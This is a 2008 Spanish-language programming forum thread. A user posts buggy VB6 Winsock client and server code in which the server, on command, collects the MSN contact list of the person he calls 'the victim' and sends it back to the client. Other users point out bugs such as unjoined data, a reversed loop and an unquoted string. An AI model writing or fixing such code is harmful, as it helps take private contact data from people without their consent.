elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
11 Octubre 2008, 18:14  



+  Foro de elhacker.net
|-+  Programación
| |-+  Programación VB (Moderadores: ||MadAntrax||, E0N)
| | |-+  ayuda con el Winsock y envio de contactos
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: ayuda con el Winsock y envio de contactos  (Leído 191 veces)
Sai-To

Desconectado Desconectado

Mensajes: 181


Ver Perfil
ayuda con el Winsock y envio de contactos
« en: 20 Abril 2008, 22:24 »

saludos, bueno miren tengo este problema, es el siguiente....

Estoy haciendo un programa que me permite desde el cliente al darle a un command1 este envie por el Ws(Winsock) un dato o orden por decirlo asi, ahora que en el server cuando llegue este cheke si es el dato, pongan que es car, entonces el server ve si es car entonces este lista TODOS los contactos del MSN de la persona en una variable y los envia al cliente y el cliente comprueba que ese dato enviado contiene los contactos y los lista en un listbox ahora... este code esta correcto?

CLIENTE

Código:
Private sub Command1_Click()
ws.SendData car
End sub

SERVER

Código:
Private sub ws_DataArribal(LoQueVaAquixD)
dim dato as string
dim cont as long
dim user as IMessengerContact

ws.getdata dato
if dato = car then
for each user in MsgrUIA.MyContacts
cont = user.SigningName & "|"
next
end if
ws.SendData cont
end sub

CLIENTE


Código:
Private sub ws_DataArribal(LoQueVaAkixD)
dim datos as string
din contactos() As string

ws.GetData datos
if datos = cont then
contactos = Split(datos, "|")
for i = UBound(contactos) to LBound(Contactos)
List1.additem contactos(i)
next
end if
end sub

Sabiendo que lo que hace el code del server es enviar los contactos de la victima al cliente, este los esplitea y los lista en un listbox, ahora es correcto ese code?? y si no  lo es en que me he equivocado y como lo podria solucionar?...
En línea
skullsp

Desconectado Desconectado

Mensajes: 243


UpLoadSourceCode


Ver Perfil WWW
Re: ayuda con el Winsock y envio de contactos
« Respuesta #1 en: 22 Abril 2008, 05:18 »

es porque estas enviando dato por dato y para enviar todos los contactos, primero los tenes que juntar a todos en 1 variable y despues enviarlo todo junto,.
Cuando llega al Servidor, lo delimitas con un split y los metes dentro del list...

es por eso que no te anda....


sl2
En línea



cobein

Desconectado Desconectado

Mensajes: 466



Ver Perfil WWW
Re: ayuda con el Winsock y envio de contactos
« Respuesta #2 en: 22 Abril 2008, 05:27 »

for i = UBound(contactos) to LBound(Contactos)
En línea

cΔssiΔnі

Desconectado Desconectado

Mensajes: 548


Ver Perfil
Re: ayuda con el Winsock y envio de contactos
« Respuesta #3 en: 22 Abril 2008, 17:38 »

Código
if dato = car then

¿Quien es car? no se supone que es una cadena y ¿entonces porque no esta entre comillas? ...

No coinciden los tipos...  :-\
« Última modificación: 22 Abril 2008, 17:41 por cΔssiΔnі » En línea
Sai-To

Desconectado Desconectado

Mensajes: 181


Ver Perfil
Re: ayuda con el Winsock y envio de contactos
« Respuesta #4 en: 22 Abril 2008, 19:48 »

si, grax, cassiani amigo ya resolvi ciertas cosas tontas que tengo hay! esa fue una! ;)... igualmente grax!"
En línea
Páginas: [1] Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC
Free counter and web stats